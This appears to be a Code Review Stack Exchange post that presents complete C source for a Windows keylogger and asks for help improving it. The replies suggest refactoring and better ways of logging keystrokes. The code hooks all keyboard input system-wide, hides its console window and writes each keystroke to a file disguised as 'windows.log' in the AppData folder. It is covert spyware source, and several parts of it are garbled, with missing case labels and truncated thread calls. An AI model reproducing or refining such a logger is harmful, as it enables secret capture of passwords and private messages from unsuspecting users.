# Windows keylogger in C

I have had this keylogger code for a while now (a few years*), and I figured I would put it up for review. Here is what I would like reviewed (in order):

1. Portability - right now, this program can only work on Windows systems. In what ways can I make this more portable? (I feel like I would have to go digging for POSIX functions, but I'm not sure which ones would suit my needs.)

2. Bugs - when I built this code, it ran as intended. There may have been bugs that I did not catch, and I would like to know what those are (and how to fix them).

3. Refactoring - I feel as if I can simplify this down a lot. Maybe I'm wrong, but is there a better/easier way to translate a key press to a printable, human-readable character?

4. Usability - do you think there would be a better way I could write data to my logs so that it would be more readable upon analysis?

*It may not be up to my coding standards as of now. Don't think of me as a hypocrite if I have gone against my own advice!

keylogger.c:

#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <stdbool.h>

#define VK_VOLUME_DOWN 0xAE
#define VK_VOLUME_UP 0xAF

int isCapsLock(void)
{
return (GetKeyState(VK_CAPITAL) & 0x0001);
}

void log(char s1[])
{
FILE* file = fopen(getFileName(), "a+");
int i = 0;
fputs(s1, file);
i++;
if (i == 50)
{
fputc('\n', file);
i = 0;
}
fclose(file);
}

/* An application-defined callback function used with the SetWindowsHookEx function.
The system calls this function every time a new keyboard input event is about to be posted into a thread input queue.
1st Parameter  nCode - A code the hook procedure uses to determine how to process the message.
2nd Parameter wParam - The identifier of the keyboard message. This parameter can be one of the
following messages: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP.
3rd Parameter lParam: A pointer to a KBDLLHOOKSTRUCT structure.
*/
LRESULT CALLBACK
LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
/* This structure contains information about a low-level keyboard input like virtual code, scan code, flags,
time stamp and additional information associated with the message.
*/
KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *) lParam;
char val[5];
DWORD dwMsg = 1;
switch (wParam)
{

case WM_KEYDOWN: // When the key has been pressed. Changed from WM_KEYUP to catch multiple strokes.
{
// Assign virtual key code to local variable
DWORD vkCode = pKeyBoard->vkCode;

if ((vkCode >= 39) && (vkCode <= 64)) // Keys 0-9
{
// TODO fix to shift key HELD down
if (GetAsyncKeyState(VK_SHIFT)) // Check if shift key is down (fairly accurate)
{
switch (vkCode)
// 0x30-0x39 is 0-9 respectively
{
case 0x30:
log(")");
break;
case 0x31:
log("!");
break;
case 0x32:
log("@");
break;
case 0x33:
log("#");
break;
case 0x34:
log("\$");
break;
case 0x35:
log("%");
break;
case 0x36:
log("^");
break;
case 0x37:
log("&");
break;
case 0x38:
log("*");
break;
case 0x39:
log("(");
break;
}
}
else // If shift key is not down
{
sprintf(val, "%c", vkCode);
log(val);
}
}
else if ((vkCode > 64) && (vkCode < 91)) // Keys a-z
{
/*
The following is a complicated statement to check if the letters need to be switched to lowercase.
Here is an explanation of why the exclusive or (XOR) must be used.

Shift   Caps    LowerCase    UpperCase
T       T       T            F
T       F       F            T
F       T       F            T
F       F       T            F

The above truth table shows what case letters are typed in,
based on the state of the shift and caps lock key combinations.

The UpperCase column is the same result as a logical XOR.
However, since we're checking the opposite in the following if statement, we'll also include a NOT operator (!)
Becuase, NOT(XOR) would give us the LowerCase column results.
*/
if (!(GetAsyncKeyState(VK_SHIFT) ^ isCapsLock())) // Check if letters should be lowercase
{
vkCode += 32; // Un-capitalize letters
}
sprintf(val, "%c", vkCode);
log(val);
}
else // Every other key
{
switch (vkCode)
// Check for other keys
{
case VK_CANCEL:
log("[Cancel]");
break;
case VK_SPACE:
log(" ");
break;
case VK_LCONTROL:
log("[LCtrl]");
break;
case VK_RCONTROL:
log("[RCtrl]");
break;
log("[LAlt]");
break;
log("[RAlt]");
break;
case VK_LWIN:
log("[LWindows]");
break;
case VK_RWIN:
log("[RWindows]");
break;
case VK_APPS:
log("[Applications]");
break;
case VK_SNAPSHOT:
log("[PrintScreen]");
break;
case VK_INSERT:
log("[Insert]");
break;
case VK_PAUSE:
log("[Pause]");
break;
case VK_VOLUME_MUTE:
log("[VolumeMute]");
break;
case VK_VOLUME_DOWN:
log("[VolumeDown]");
break;
case VK_VOLUME_UP:
log("[VolumeUp]");
break;
case VK_SELECT:
log("[Select]");
break;
case VK_HELP:
log("[Help]");
break;
case VK_EXECUTE:
log("[Execute]");
break;
case VK_DELETE:
log("[Delete]");
break;
case VK_CLEAR:
log("[Clear]");
break;
case VK_RETURN:
log("[Enter]");
break;
case VK_BACK:
log("[Backspace]");
break;
case VK_TAB:
log("[Tab]");
break;
case VK_ESCAPE:
log("[Escape]");
break;
case VK_LSHIFT:
log("[LShift]");
break;
case VK_RSHIFT:
log("[RShift]");
break;
case VK_CAPITAL:
log("[CapsLock]");
break;
case VK_NUMLOCK:
log("[NumLock]");
break;
case VK_SCROLL:
log("[ScrollLock]");
break;
case VK_HOME:
log("[Home]");
break;
case VK_END:
log("[End]");
break;
case VK_PLAY:
log("[Play]");
break;
case VK_ZOOM:
log("[Zoom]");
break;
case VK_DIVIDE:
log("[/]");
break;
case VK_MULTIPLY:
log("[*]");
break;
case VK_SUBTRACT:
log("[-]");
break;
log("[+]");
break;
case VK_PRIOR:
log("[PageUp]");
break;
case VK_NEXT:
log("[PageDown]");
break;
case VK_LEFT:
log("[LArrow]");
break;
case VK_RIGHT:
log("[RArrow]");
break;
case VK_UP:
log("[UpArrow]");
break;
case VK_DOWN:
log("[DownArrow]");
break;
log("[0]");
break;
log("[1]");
break;
log("[2]");
break;
log("[3]");
break;
log("[4]");
break;
log("[5]");
break;
log("[6]");
break;
log("[7]");
break;
log("[8]");
break;
log("[9]");
break;
case VK_F1:
log("[F1]");
break;
case VK_F2:
log("[F2]");
break;
case VK_F3:
log("[F3]");
break;
case VK_F4:
log("[F4]");
break;
case VK_F5:
log("[F5]");
break;
case VK_F6:
log("[F6]");
break;
case VK_F7:
log("[F7]");
break;
case VK_F8:
log("[F8]");
break;
case VK_F9:
log("[F9]");
break;
case VK_F10:
log("[F10]");
break;
case VK_F11:
log("[F11]");
break;
case VK_F12:
log("[F12]");
break;
case VK_F13:
log("[F13]");
break;
case VK_F14:
log("[F14]");
break;
case VK_F15:
log("[F15]");
break;
case VK_F16:
log("[F16]");
break;
case VK_F17:
log("[F17]");
break;
case VK_F18:
log("[F18]");
break;
case VK_F19:
log("[F19]");
break;
case VK_F20:
log("[F20]");
break;
case VK_F21:
log("[F21]");
break;
case VK_F22:
log("[F22]");
break;
case VK_F23:
log("[F23]");
break;
case VK_F24:
log("[F24]");
break;
case VK_OEM_2:
if (GetAsyncKeyState(VK_SHIFT))
log("?");
else
log("/");
break;
case VK_OEM_3:
if (GetAsyncKeyState(VK_SHIFT))
log("~");
else
log("");
break;
case VK_OEM_4:
if (GetAsyncKeyState(VK_SHIFT))
log("{");
else
log("[");
break;
case VK_OEM_5:
if (GetAsyncKeyState(VK_SHIFT))
log("|");
else
log("\\");
break;
case VK_OEM_6:
if (GetAsyncKeyState(VK_SHIFT))
log("}");
else
log("]");
break;
case VK_OEM_7:
if (GetAsyncKeyState(VK_SHIFT))
log("\\");
else
log("'");
break;
break;
case 0xBC:                //comma
if (GetAsyncKeyState(VK_SHIFT))
log("<");
else
log(",");
break;
case 0xBE:              //Period
if (GetAsyncKeyState(VK_SHIFT))
log(">");
else
log(".");
break;
case 0xBA:              //Semi Colon same as VK_OEM_1
if (GetAsyncKeyState(VK_SHIFT))
log(":");
else
log(";");
break;
case 0xBD:              //Minus
if (GetAsyncKeyState(VK_SHIFT))
log("_");
else
log("-");
break;
case 0xBB:              //Equal
if (GetAsyncKeyState(VK_SHIFT))
log("+");
else
log("=");
break;
default:

/* For More details refer this link http://msdn.microsoft.com/en-us/library/ms646267
As mentioned in document of GetKeyNameText http://msdn.microsoft.com/en-us/library/ms646300
Scon code is present in 16..23 bits therefor I shifted the code to correct position
Same for Extended key flag
*/
dwMsg += pKeyBoard->scanCode << 16;
dwMsg += pKeyBoard->flags << 24;

char key[16];
/* Retrieves a string that represents the name of a key.
1st Parameter dwMsg contains the scan code and Extended flag
2nd Parameter lpString: lpszName - The buffer that will receive the key name.
3rd Parameter cchSize: The maximum length, in characters, of the key name, including the terminating null character
If the function succeeds, a null-terminated string is copied into the specified buffer,
and the return value is the length of the string, in characters, not counting the terminating null character.
If the function fails, the return value is zero.
*/
GetKeyNameText(dwMsg, key, 15);
log(key);
}
}
break;
}
default:

/* Passes the hook information to the next hook procedure in the current hook chain.
1st Parameter hhk - Optional
2nd Parameter nCode - The next hook procedure uses this code to determine how to process the hook information.
3rd Parameter wParam - The wParam value passed to the current hook procedure.
4th Parameter lParam - The lParam value passed to the current hook procedure
*/
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
return 0;
}

// Function called by main function to install hook
DWORD WINAPI
KeyLogger(LPVOID lpParameter)
{

HHOOK hKeyHook;
/* Retrieves a module handle for the specified module.
parameter is NULL, GetModuleHandle returns a handle to the file used to create the calling process (.exe file).
If the function succeeds, the return value is a handle to the specified module.
If the function fails, the return value is NULL.
*/
HINSTANCE hExe = GetModuleHandle(NULL);

if (!hExe)
{
return 1;
}
else
{
/*Installs an application-defined hook procedure into a hook chain
1st Parameter idHook: WH_KEYBOARD_LL - The type of hook procedure to be installed
Installs a hook procedure that monitors low-level keyboard input events.
2nd Parameter lpfn: LowLevelKeyboardProc - A pointer to the hook procedure.
3rd Parameter hMod: hExe - A handle to the DLL containing the hook procedure pointed to by the lpfn parameter.
4th Parameter dwThreadId: 0 - the hook procedure is associated with all existing threads running
If the function succeeds, the return value is the handle to the hook procedure.
If the function fails, the return value is NULL.
*/
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC) LowLevelKeyboardProc, hExe, 0);

/*Defines a system-wide hot key of alt+ctrl+9
1st Parameter hWnd(optional) :NULL - A handle to the window that will receive hot key message generated by hot key.
2nd Parameter id:1 - The identifier of the hot key
3rd Parameter fsModifiers: MOD_ALT | MOD_CONTROL -  The keys that must be pressed in combination with the key
specified by the uVirtKey parameter in order to generate the WM_HOTKEY message.
4th Parameter vk: 0x39(9) - The virtual-key code of the hot key
*/
RegisterHotKey(NULL, 1, MOD_ALT | MOD_CONTROL, 0x39);

MSG msg;

// Message loop retrieves messages from the thread's message queue and dispatches them to the appropriate window procedures.
//Retrieves a message from the calling thread's message queue.

while (GetMessage(&msg, NULL, 0, 0) != 0)
{
// if Hot key combination is pressed then exit
if (msg.message == WM_HOTKEY)
{
UnhookWindowsHookEx(hKeyHook);
return 0;
}
//Translates virtual-key messages into character messages.
TranslateMessage(&msg);
//Dispatches a message to a window procedure.
DispatchMessage(&msg);
}

/* To free system resources associated with the hook and removes a hook procedure installed in a hook chain
Parameter hhk: hKeyHook - A handle to the hook to be removed.
*/
UnhookWindowsHookEx(hKeyHook);
}
return 0;
}

int start(char* argv[])
{

/* CreateThread function Creates a thread to execute within the virtual address space of the calling process.
2nd Parameter dwStackSize:  0  - The new thread uses the default size for the executable.
3rd Parameter lpStartAddress:  KeyLogger - A pointer to the application-defined function to be executed by the thread
4th Parameter lpParameter:  argv[0] -  A pointer to a variable to be passed to the thread
5th Parameter dwCreationFlags: 0 - The thread runs immediately after creation.
6th Parameter pThreadId(out parameter): NULL - the thread identifier is not returned
If the function succeeds, the return value is a handle to the new thread.
*/

(LPVOID) argv[0], 0, NULL );

{
// Waits until the specified object is in the signaled state or the time-out interval elapses.
}
return 1;
}


main.c:

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <stdbool.h>
#include <stdlib.h>

bool invisible = true;
char fileName[MAX_PATH];

void hide(void)
{
HWND stealth;

/* Retrieves a handle to the top-level window whose class name and window name match the specified strings.
1st Parmeter lpClassName: ConsoleWindowClass - Class Name
2nd Parameter lpWindowName: parameter is NULL, all window names match.
If the function succeeds, the return value is a handle to the window that has the specified class name and window name.
If the function fails, the return value is NULL.
*/
stealth = FindWindow("ConsoleWindowClass", NULL );
ShowWindow(stealth, 0);
}

void init(void)
{
// get path to appdata folder
char* dest = "%appdata%\\windows.log";

/* Expands the envirnment variable given into a usable path
1st Parameter lpSrc: A buffer that contains one or more environment-variable strings in the form: %variableName%.
2nd Parameter lpDst: A pointer to a buffer that receives the result of expanding the environment variable strings in the lpSrc buffer.
3rd Parameter nSize: The maximum number of characters that can be stored in the buffer pointed to by the lpDst parameter.
The return value is the fully expanded pathname.
*/
ExpandEnvironmentStrings(dest, fileName, MAX_PATH);

// open file
FILE *file;
file = fopen(fileName, "a+");
time_t startTime = time(0);
// see if file is empty
long savedOffset = ftell(file);
fseek(file, 0, SEEK_END);
if (!ftell(file) == 0) fputc('\n', file);
fseek(file, savedOffset, SEEK_SET);
// print timestamp
fputs("### Started logging at: ", file);
fputs(ctime(&startTime), file);
fclose(file);
}

void powerdown(void)
{
// get path to appdata folder
char* dest = "%appdata%\\windows.log";
ExpandEnvironmentStrings(dest, fileName, MAX_PATH);

// open file
FILE *file;
file = fopen(fileName, "a+");
time_t endTime = time(0);
fputs("\n### Stopped logging at: ", file);
fputs(ctime(&endTime), file);
fclose(file);
}

char getFileName()
{
return fileName;
}

int main(int argc, char* argv[])
{
int startKeyLogging(char* argv[]);

if (invisible) hide();
init();
start(argv);
atexit(powerdown);  // only works if process isn't killed
}

-
what is the use of this GetAsyncKeyState(VK_SHIFT) – user62205 Jan 1 '15 at 17:24
@Osama It determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState(). – syb0rg Jan 1 '15 at 19:07

You register keydown events for Control and Alt keys, but don't note when they are released. Therefore, you would not be able to distinguish between r and Controlr by reading the transcript.

Those are some huge switch statements. I would consider making some lookup tables instead. There are fewer than 255 key codes defined, and their numeric values are well documented. Handle the a-z cases programatically, then use lookup tables for the rest. Define a "neutral" table and a table for values with Shift active. Performance might not be any better, and there will be some repetition between the tables, but I think the code would still be more readable.

Fundamentally, though, you've written a keycode-to-symbol map, which means you've reimplemented a hard-coded US English keyboard layout. That's not correct in the general case. You actually have two good options:

1. Log the hardware-level events: the keydown/keyup events, timings, and keycodes. Write the output in a not-very-human-readable numeric format. You could write a separate interpretation tool translate those events to text.
2. Log the logical symbols that should be produced according to the keyboard mapping or input method that the user has selected in the Control Panel. You should be able to use functions such as GetKeyNameText() to help you. In general, the problem is much more complicated, though. For example, if the user has activated the Cangjie input method, and types the keyboard sequence hqiSpace, the resulting character that is produced should be "我" (U+6211). I'm not familiar with how you can hook into the Windows Input Method system.

Based on the Single Responsibility Principle, I'd choose the first option: let the keylogger log the key events, and write a separate interpretation tool.

-
• You have some global variables in main.c:

bool invisible = true;
char fileName[MAX_PATH];


They should be placed in the closest local scope possible and passed to functions as needed.

• Your #defines in keylogger.c:

#define VK_VOLUME_MUTE 0xAD
#define VK_VOLUME_DOWN 0xAE
#define VK_VOLUME_UP 0xAF


can be made into a more concise enum:

typedef enum { MUTE=0xAD, DOWN=0xAE, UP=0xAF } VK_VOLUME;


They should also remain in numerical order like this in an enum.

• The switch in LowLevelKeyboardProc() can probably be replaced with some kind of hash map to keep these values together for easy searching. This will make maintenance easier in case any changes will be needed, especially when adding additional values.

• Since you're using return 0 and return 1 in other functions than in main() (where the returned integer value is already understood), it may be more readable to replace the respective return values with EXIT_SUCCESS and EXIT_FAILURE`.

-